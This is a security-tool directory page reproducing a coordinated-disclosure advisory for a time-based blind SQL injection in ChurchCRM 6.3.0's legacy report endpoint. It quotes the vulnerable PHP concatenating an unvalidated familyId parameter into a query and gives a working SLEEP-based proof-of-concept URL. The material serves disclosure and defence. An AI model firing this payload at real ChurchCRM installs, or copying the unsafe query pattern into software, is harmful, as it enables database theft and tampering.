Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-68400 — CVE-2025-68400 - ChurchCRM vulnerable to time-based blind SQL Injection in ConfirmReportEmail.php | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2025-68400
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2025-68400

CVE-2025-68400

CVE-2025-68400 - ChurchCRM vulnerable to time-based blind SQL Injection in ConfirmReportEmail.php

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-68400: ChurchCRM vulnerable to time-based blind SQL Injection in ConfirmReportEmail.php

Overview

FieldDetails
CVE IDCVE-2025-68400
SeverityCRITICAL
AdvisoryView Advisory
Discovered byLukasz Rybak

Affected Products

  • ChurchCRM/CRM

Details

Summary

A critical SQL Injection vulnerability exists in the legacy endpoint /Reports/ConfirmReportEmail.php in ChurchCRM 6.3.0. Although the feature was removed from the UI, the file remains deployed and reachable directly via URL. This is a classic case of dead but reachable code. Any authenticated user - including one with zero assigned permissions - can exploit SQL injection through the familyId parameter.


Details

The issue is located in:

src/Reports/ConfirmReportEmail.php

Vulnerable code (lines 82–83):

root@kitploit:~
if (InputUtils::legacyFilterInput($_GET['familyId'], 'int')) {
    $sSubQuery = ' and fam_id in (' . $_GET['familyId'] . ') ';
}

Why this is vulnerable:

  • The return value of legacyFilterInput() is ignored entirely.
  • The raw $_GET['familyId'] value is concatenated directly into a SQL query.
  • No escaping, quoting, type enforcement, or parameter binding is applied.
  • Because the endpoint is no longer referenced in the UI, it does not benefit from updated framework security controls.

Dead but reachable endpoint:

root@kitploit:~
/Reports/ConfirmReportEmail.php?familyId=<value>

Normal behavior:

root@kitploit:~
302 Redirect → /v2/family/<id>&PDFEmailed=

Malicious payloads containing ) or -- break redirect logic and execute the vulnerable SQL.

Even a user with zero permissions can exploit the vulnerability.
A SLEEP(5) payload reliably delays the response, proving SQL execution.


PoC

Authenticated user visits:

root@kitploit:~
http://localhost:8101/Reports/ConfirmReportEmail.php?familyId=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20--%20-
image

Observed result:

  • Response delayed by ~5 seconds → success.
  • Redirect suppressed.
  • Vulnerable SQL executed.

sqlmap confirmation:

image

Impact

  • Complete database compromise (read/write/delete)
  • Extraction of all sensitive ChurchCRM data
  • Possible privilege escalation
  • Potential for RCE depending on SQL functions and configuration
  • Vulnerable endpoint is reachable despite being removed from UI

References

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v54g-2pvg-gvp2

Disclaimer

This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

Download Tool